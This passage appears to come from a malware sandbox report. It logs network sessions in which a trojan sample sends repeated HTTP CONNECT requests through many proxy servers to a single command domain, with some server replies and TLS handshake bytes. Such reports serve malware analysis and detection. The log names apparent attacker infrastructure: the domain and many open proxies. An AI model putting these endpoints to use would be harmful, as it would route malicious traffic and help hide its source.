Feb 23, 2024 14:28:35.882550955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.882536888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:59.882219076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:11.897847891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.8	50971	167.172.159.43	32988	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.682029009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.991594076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.304168940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.991775990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.195476055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499207020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847564936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.381633997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.8	50863	168.138.21.250	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.689753056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.888339996 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.8	50821	125.87.90.216	8089	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.690109015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.400650024 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.8	49740	79.132.192.13	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.690198898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.8	50865	47.243.177.210	8088	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.695199966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.8	50934	174.75.211.222	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.695202112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.8	50997	172.67.181.37	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.700639009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.788077116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.8	50947	68.1.210.189	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.715564966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.8	51013	162.243.102.207	9764	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.716223001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.8	51023	104.19.233.117	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.727549076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.815893888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.8	50207	51.15.209.188	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.729686975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882299900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.8	50181	54.36.108.149	56367	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.730221987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882348061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992019892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.991904020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.991723061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.8	50031	148.66.130.187	60083	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.741430998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.8	50957	174.77.111.196	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.743516922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.8	50129	161.97.170.209	4441	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.748517990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882414103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991983891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.991925001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.991748095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.8	50988	199.229.254.129	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.752186060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.8	51048	185.162.231.254	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.756680012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.844846964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.8	50131	31.28.4.192	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.759700060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.000088930 CET	488	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 63 2e 70 6c 6f 6d 62 77 61 79 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 1c.plombway.ru Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.8	50141	78.189.191.184	48425	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.759989977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.8	50989	18.135.133.116	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.761790037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.924889088 CET	165	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/plain X-Powered-By: PHP/5.3.6-13ubuntu3.6 Server: Microsoft-IIS/8.5 Content-Length: 0
Feb 23, 2024 14:28:23.926943064 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 9d 77 78 11 3b 8f 2f 7d f1 32 5d d5 cb 14 9a f2 da 88 fe 30 61 08 cc 4c 08 cc f2 cd 28 f4 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ewx;/}2]0aL(*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 14:28:24.084781885 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 fa 2b a3 c5 26 98 c5 68 68 aa eb 1c 1e 93 c0 99 6c 08 17 03 48 58 55 06 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9+&hhlHXUDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223130621Z260222130621Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:24.088356972 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 f4 b4 cb b4 82 c4 45 09 21 6b 9c d4 68 fd d4 00 4c 6a 7b 0c bc 1d 6a 04 fb 62 dc c3 f9 c1 fa 6a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 46 5c 08 61 ac e6 1b ff 28 1a cc 89 42 8f a1 fd 36 76 11 81 be Data Ascii: %! E!khLj{jbj(F\a(B6vlk4
Feb 23, 2024 14:28:24.243643999 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 54 b1 ba ff 5a d9 56 f8 92 08 75 4c 58 68 40 5e bc f8 68 dd c8 ae c4 6b 98 a8 29 0a af a7 e4 40 24 dc d7 ab d4 8b 75 bc Data Ascii: (TZVuLXh@^hk)@$u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.8	51057	209.97.150.167	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.773124933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.505027056 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.8	50932	94.20.183.172	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.779802084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.027595997 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.8	50251	51.79.87.144	54395	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.780096054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882448912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991991043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.8	50899	60.246.122.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.785651922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.8	50954	85.12.214.148	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.804480076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.8	50981	195.225.142.169	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.804692030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.335342884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.976210117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382565022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991909027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.695079088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.8	51035	94.23.252.168	9180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.816349983 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.8	51009	212.127.93.185	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.822164059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.8	51002	164.163.21.14	8291	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.822535038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.8	51073	152.32.238.63	38080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.826092958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.8	51043	51.75.125.208	41649	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.830535889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.288486004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.8	50255	167.99.39.82	46015	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.832089901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
